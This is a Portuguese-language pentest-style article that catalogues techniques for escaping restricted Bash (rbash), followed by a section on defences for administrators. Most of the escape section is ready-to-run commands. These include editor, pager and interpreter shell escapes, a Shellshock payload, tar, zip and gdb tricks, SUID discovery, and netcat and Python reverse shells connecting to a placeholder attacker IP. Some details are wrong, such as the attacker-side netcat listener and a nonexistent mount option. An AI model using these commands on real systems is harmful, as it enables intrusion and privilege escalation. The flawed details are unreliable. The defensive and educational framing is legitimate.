Introdução

No gerenciamento de sistemas Linux, a segurança é um aspecto fundamental em ambientes multiusuário. O shell Bash restrito (rbash) serve como uma medida de segurança comum, reduzindo o risco de abuso ou acesso não autorizado ao sistema ao limitar as operações que usuários podem executar. Contudo, todas as medidas de segurança possuem potenciais falhas, e o rbash não é exceção. Este artigo examina profundamente o funcionamento do rbash, organiza sistematicamente as técnicas de evasão e discute os usos legítimos e maliciosos desses métodos, fornecendo estratégias abrangentes de defesa para ajudar administradores a construir sistemas mais seguros.

O que é rbash?

O Bash restrito (rbash) é uma versão limitada do shell Bash, ativada ao iniciar com o nome rbash ou usando a opção bash -r para entrar no modo restrito. O rbash visa aumentar a segurança do sistema através das seguintes limitações:

• Impedimento de mudança de diretório: Não é possível usar o comando cd para alternar entre diretórios.
• Restrições de variáveis de ambiente: Não é permitido definir ou desativar SHELL, PATH, ENV ou BASH\_ENV.
• Limitação de caminhos de comandos: Proibido executar comandos que contenham barras (/) (como /bin/bash).
• Restrições de redirecionamento: Desabilitados operadores de redirecionamento de entrada/saída (como >, >>, <>, >&, etc.).
• Limitações de substituição shell: Impedido o uso de exec para substituir o shell atual.
• Restrições de modificação de caminho: Impossível alterar PATH para incluir diretórios fora do diretório home do usuário.

O rbash é frequentemente utilizado em cenários que exigem controle rigoroso sobre permissões de usuário, tais como:

• Servidores FTP: Restringindo o acesso do usuário ao sistema de arquivos.
• Aplicações web: Fornecendo acesso shell limitado para usuários do servidor web.
• Ambientes educacionais: Prevenindo que estudantes executem operações perigosas.

Embora o rbash aumente significativamente a segurança, suas restrições não são infalíveis. As seções a seguir detalharão extensivamente as várias técnicas de evasão do rbash, analisando seus princípios, cenários de aplicação e riscos potenciais.

Métodos e Técnicas de Evasão do rbash

A seguir estão as técnicas comuns de evasão do rbash, abrangendo desde a utilização de ferramentas do sistema até linguagens de programação. Esses métodos podem ser empregados para testes de segurança (como pentest) ou depuração de sistemas, mas também podem ser explorados por usuários maliciosos. Cada método inclui etapas detalhadas, fundamentos teóricos, condições de aplicabilidade e considerações importantes.

1. Utilização do SSH para Iniciar Bash Não Restrito

Descrição: Através do SSH, iniciar um shell Bash não restrito, contornando as limitações do rbash.

Procedimentos:

• Executar comando: ssh nome\_usuario@endereco\_servidor -t "bash --noprofile"
• Alternativamente: ssh nome\_usuario@endereco\_servidor -t "/bin/sh"
• Técnica avançada: Explorar vulnerabilidade Shellshock (vulnerabilidade histórica, aplicável a sistemas antigos): ssh nome\_usuario@endereco\_servidor -t "() { :; }; /bin/bash"

Fundamento: A sessão iniciada via SSH é independente, a opção -t força a alocação de um pseudo-terminal, e --noprofile evita o carregamento de arquivos de configuração do usuário (como .bashrc), contornando assim o ambiente rbash.

Cenários Aplicáveis:

• Usuário possui acesso SSH.
• Sistema de destino não restringe a execução de /bin/bash ou /bin/sh.

Considerações Importantes:

• Requer credenciais SSH válidas.
• Sistema pode restringir execução de comandos através de PAM ou configurações SSH.
• Vulnerabilidade Shellshock aplica-se apenas a sistemas antigos sem patch (como Bash 4.3 ou anterior).

2. Exploração de Editores de Texto (como vi, vim, ed, pico)

Descrição: Utilizar funcionalidades de chamada shell dos editores de texto para iniciar Bash não restrito.

Evasão com vi/vim:

• Executar: vi ou vim
• Pressionar :, digitar :set shell=/bin/bash, então executar :shell
• Alternativamente, digitar diretamente :! /bin/bash

Evasão com ed:

• Executar: ed
• Digitar: ! /bin/bash

Evasão com pico:

• Executar: pico -s /bin/bash
• Abrir documento em branco, acionando bash (utilizando opção de verificação ortográfica do pico).

Evasão com rvim:

• Executar: rvim - -Z -c ':! /bin/bash'

Outros editores:

• more /etc/passwd seguido de ! /bin/bash
• less /etc/passwd seguido de ! /bin/bash
• man man seguido de ! /bin/bash

Fundamento: Muitos editores de texto suportam execução de comandos externos em modo interativo (através de ! ou opções específicas), permitindo iniciar shell não restrito.

Cenários Aplicáveis:

• Existência de editores vi, vim, ed, pico no ambiente.
• Editores não configurados para desativar função de chamada shell.

Considerações Importantes:

• Administrador pode desativar comando ! do editor ou restringir sua funcionalidade.
• Deve-se garantir existência e executabilidade do shell de destino (como /bin/bash).
• Método pico depende da opção de verificação ortográfica, podendo falhar se comando spell não estiver configurado.

3. Utilização de compgen -c para Listar Comandos Disponíveis

Descrição: Executar compgen -c para listar todos os comandos disponíveis no sistema, auxiliando na descoberta de ferramentas de evasão.

Procedimentos:

• Executar: compgen -c

Fundamento: compgen -c é um comando interno do Bash que lista todos os comandos executáveis, ajudando o usuário a identificar ferramentas não restritas (como python, scp, etc.).

Cenários Aplicáveis:

• Ambiente com restrições severas, necessitando rápida varredura de comandos disponíveis.
• Como etapa auxiliar em outros métodos de evasão.

Considerações Importantes:

• Fornece apenas informações, não evasão direta das restrições.
• Saída pode ser extensa, requerendo filtragem manual de comandos úteis.

4. Exploração de Arquivos Binários SUID

Descrição: Arquivos binários SUID (Set User ID) executam com permissões do proprietário do arquivo, podendo contornar restrições do rbash.

Procedimentos:

• Localizar arquivos SUID: find / -perm /4000 2>/dev/null (se find estiver disponível)
• Verificar arquivos SUID comuns (como passwd, sudo), tentando executar comandos.

Fundamento: Arquivos SUID executam com permissões do proprietário (como root), podendo permitir execução de comandos restritos ou iniciar shell não restrito.

Cenários Aplicáveis:

• Sistema com arquivos SUID configurados incorretamente.
• Usuário tem permissão para acessar arquivos binários SUID.

Considerações Importantes:

• Rbash pode restringir find ou execução de arquivos SUID.
• Operações devem ser realizadas com cautela, abuso de arquivos SUID pode causar instabilidade no sistema.
• Administrador deve auditar regularmente permissões de arquivos SUID.

5. Utilização de Linguagens de Programação

Descrição: Explorar funções de chamada de sistema em Python, Perl, PHP, Awk e outras linguagens para executar shell não restrito.

Exemplo Python:

python -c 'import os; os.system("/bin/bash")'

Exemplo Perl:

perl -e 'exec "/bin/sh";'

Exemplo PHP:

php -a
# Após entrar no modo interativo, digite:
exec("sh -i");

Exemplo Awk:

awk 'BEGIN {system("/bin/bash")}'

Exemplo Ruby:

ruby -e 'exec "/bin/sh"'

Exemplo Lua:

lua -e 'os.execute("/bin/bash")'

Exemplo Expect:

expect -c 'spawn /bin/bash; interact'

Fundamento: Funções de chamada de sistema nas linguagens de programação (como os.system, exec) podem executar comandos arbitrários, contornando restrições do rbash.

Cenários Aplicáveis:

• Instalação de interpretadores de linguagem relevantes no ambiente.
• Usuário tem permissão para executar esses interpretadores.

Considerações Importantes:

• Administrador pode remover ou restringir interpretadores de linguagem.
• Algumas linguagens podem estar configuradas para desativar funções de chamada de sistema.
• É necessário familiaridade com sintaxe básica da linguagem alvo.

6. Criação de Links Simbólicos

Descrição: Criar links simbólicos apontando para arquivos binários não restritos, contornando restrições de caminho.

Procedimentos:

• Criar link: ln -s /bin/bash /tmp/bash
• Executar: /tmp/bash

Fundamento: Rbash restringe comandos contendo barras, mas links simbólicos podem contornar essa limitação.

Cenários Aplicáveis:

• Usuário tem permissão para criar links simbólicos em diretórios graváveis (como /tmp).
• Arquivo binário de destino (como /bin/bash) não está restrito.

Considerações Importantes:

• Rbash pode proibir criação ou execução de links simbólicos.
• Sistema pode ter mecanismos configurados para restringir links simbólicos (como opção de montagem nosymlink).

7. Uso de Ferramentas de Rede para Configurar Shell Reverso

Descrição: Utilizar netcat ou outras ferramentas de rede para estabelecer shell reverso, obtendo ambiente não restrito.

Exemplo Netcat:

• Máquina do atacante: nc -lvp 4444 -e /bin/bash
• Máquina alvo: nc ip\_atacante 4444 -e /bin/bash

Exemplo de shell reverso Python:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP_ATACANTE",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Fundamento: Shell reverso transfere o ambiente de execução de comandos para sistema controlado pelo atacante através de conexão de rede, contornando restrições do rbash.

Cenários Aplicáveis:

• Existência de netcat ou linguagens de programação com suporte a operações de rede no ambiente.
• Firewall de rede permite conexões de saída.

Considerações Importantes:

• Atacante precisa configurar previamente servidor de escuta.
• Sistema pode restringir ferramentas de rede ou tráfego de saída.
• Shell reverso pode ser detectado por IDS/IPS.

8. Fuga da Prisão chroot

Descrição: Se rbash for combinado com chroot, escapar do ambiente chroot pode contornar restrições do rbash.

Procedimentos:

• Verificar diretórios graváveis no ambiente chroot.
• Explorar vulnerabilidades (como falhas no kernel) ou configurações inadequadas (como nós de dispositivo) para escapar.
• Exemplo: Criar nós de dispositivo temporários ou usar comando chroot para alternar diretório raiz.

Fundamento: Após escapar do chroot, as restrições do rbash deixam de existir, permitindo ao usuário acesso completo ao sistema de arquivos.

Cenários Aplicáveis:

• Configuração chroot com vulnerabilidades ou configurações inadequadas.
• Usuário tem permissões suficientes para executar operações de fuga.

Considerações Importantes:

• Baixa taxa de sucesso, dependente de vulnerabilidades específicas.
• Sistemas modernos geralmente combinam SELinux ou virtualização, aumentando dificuldade de escape.
• Requer conhecimento profundo sobre detalhes de implementação do chroot.

9. Escapamento por Troca de Usuário

Descrição: Utilizar comando su para trocar de usuário, carregando ambiente não restrito.

Procedimentos:

• Executar: su -c "python -c 'import pty; pty.spawn(\\"/bin/bash\\")'" nome\_usuario
• Alternativamente: su - nome\_usuario

Fundamento: su - carrega o ambiente completo do usuário de destino, que pode não conter restrições rbash; pty.spawn cria shell interativo.

Cenários Aplicáveis:

• Usuário conhece senha do usuário de destino.
• Sistema permite execução de comando su.

Considerações Importantes:

• Requer credenciais válidas.
• Sistema pode restringir funcionalidade su através de PAM.
• Troca de usuário pode acionar logs de auditoria.

10. Utilização de Outras Ferramentas ou Comandos

Comando scp:

• Executar: scp -S /caminho/seuscript x y:

• Conteúdo do script personalizado: ``` #!/bin/bash /bin/bash

Comando cp:

• Copiar bash: cp /bin/bash .; ./bash

Comando zip:

• Executar: zip /tmp/teste.zip /tmp/teste -T --unzip-command="sh -c /bin/bash"

Comando tar:

• Executar: tar cf /dev/null nomedoarquivo --checkpoint=1 --checkpoint-action=exec=/bin/bash

Comando git:

• Executar: git help status
• No interface less digitar: ! /bin/bash

Comando gdb:

• Executar: gdb -q
• Digitar: ! /bin/bash

Fundamento: Essas ferramentas ou comandos contornam restrições do rbash ao executar comandos externos ou carregar modos interativos.

Cenários Aplicáveis:

• Existência de ferramentas relevantes no ambiente.
• Ferramentas não configuradas para desativar chamadas shell.

Consdierações Importantes:

• Administrador pode restringir execução dessas ferramentas.
• Algumas ferramentas (como git) dependem de modo interativo, requerendo familiaridade com procedimentos operacionais.
• Uso de comandos complexos pode aumentar risco de detecção.

Dicas Adicionais

1. Problemas mais comuns do que rbash são anomalias de caminho atual

echo $PATH  ###geralmente quando muitos comandos básicos não executam, é anomalia de caminho, verificar esse valor pode confirmar    
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin   ####correção

Observação: Rbash pode proibir modificação de PATH, sendo necessário combinar com outros métodos (como links simbólicos).

2. Impossibilidade de uso de operadores de redirecionamento

Problema: Rbash proíbe símbolos de redirecionamento >, >>, impossibilitando escrita em arquivos.

echo 'código_script' | tee arquivo_script

3. Escape ao fazer login SSH através de spawn shell

ssh nome_usuario@IP  "export TERM=xterm;python -c  'import pty;pty.spawn(\"/bin/bash\")'"

4. Uso de !'sh' para contornar limitação de barra

Técnica: Em modo interativo de less, man, etc., digitar !'sh' (sem /) pode contornar limitação de barra.

Exemplo:

less /etc/passwd
!'sh'

Fundamento: !'sh' evita barra, em alguns ambientes pode chamar diretamente sh.

Impacto de Segurança e Medidas de Defesa

Impacto de Segurança

As técnicas de evasão do rbash têm dupla utilidade:

• Usos Legítimos:
  • Testes de segurança: Profissionais de pentest podem utilizar esses métodos para avaliar segurança do sistema.
  • Depuração de sistema: Administradores podem precisar contornar rbash para restaurar acesso ou corrigir configurações.
  • Propósito educacional: Aprendizado sobre mecanismos de segurança Linux e comportamento shell.
• Usos Maliciosos:
  • Elevação de privilégios: Atacantes podem obter permissões superiores, executando operações não autorizadas.
  • Vazamento de dados: Contornar rbash pode expor arquivos ou configurações sensíveis.
  • Destruição de sistema: Usuários maliciosos podem deletar arquivos críticos ou implantar backdoors.
  • Ataques persistentes: Estabelecer acesso de longo prazo através de shells reversos ou tarefas agendadas.

Evadir rbash com sucesso pode resultar em consequências graves, especialmente em ambientes altamente sensíveis (como sistemas financeiros, sistemas médicos). Por isso, entender essas técnicas e implementar defesas eficazes é crucial.

Medidas de Defesa

Para reduzir risco de evasão do rbash, administradores de sistema devem adotar as seguintes estratégias de defesa integradas:

1. Restrição rigorosa de PATH:
   • Limitar PATH a diretórios confiáveis (como /bin, /usr/bin).
   • Exemplo: export PATH=/bin:/usr/bin
   • Verificar periodicamente configuração de PATH, garantindo ausência de diretórios graváveis por usuário.
2. Desativação de ferramentas desnecessárias:

   • Remover ou restringir comandos de alto risco (como vi, scp, netcat, python).

   • Exemplo: Restringir através de permissões de arquivo ou PAM: ``` chmod 750 /usr/bin/vi

3. Fortalecimento do gerenciamento SUID:
   • Minimizar número de arquivos binários SUID.
   • Auditoria periódica: find / -perm /4000
   • Garantir que arquivos SUID não possam ser abusados.
4. Combinação com chroot ou contêineres:

   • Utilizar chroot para isolar ambiente do usuário, restringindo acesso ao sistema de arquivos.

   • Implantar contêineres (como Docker) para isolamento adicional de processos.

   • Exemplo: Configurar chroot: ``` chroot /jail/nome_usuario /bin/rbash

5. Controle de acesso obrigatório:
   • Implementar SELinux ou AppArmor, restringindo operações do usuário.
   • Exemplo: Política SELinux proíbe execução de comandos não autorizados.
6. Restrição de acesso SSH:

   • Configurar /etc/ssh/sshd\_config, desativando opção -t ou restringindo execução de comandos.

   • Exemplo: Restringir comandos do usuário: ``` Match User usuario_restrito ForceCommand /bin/rbash

7. Minimização de softwares instalados:

   • Instalar apenas ferramentas necessárias, remover interpretadores Python, Perl etc. (se não forem necessários).

   • Exemplo: Desinstalar pacotes desnecessários: ``` apt remove python3 perl

8. Auditoria e monitoramento regulares:

   • Verificar comportamento do usuário, scripts de inicialização e logs do sistema.

   • Utilizar ferramentas (como auditd) para monitorar operações de alto risco.

   • Exemplo: Monitorar execução de bash: ``` auditctl -w /bin/bash -p x -k bash_exec

9. Educação e treinamento:
   • Treinar administradores para identificar técnicas de evasão e seus indícios.
   • Realizar periodicamente exercícios de segurança, simulando cenários de evasão rbash.
10. Isolamento de rede:

    • Restringir conexões de rede de saída, prevenindo shells reversos.

    • Exemplo: Configurar firewall: ``` iptables -A OUTPUT -p tcp --dport 4444 -j DROP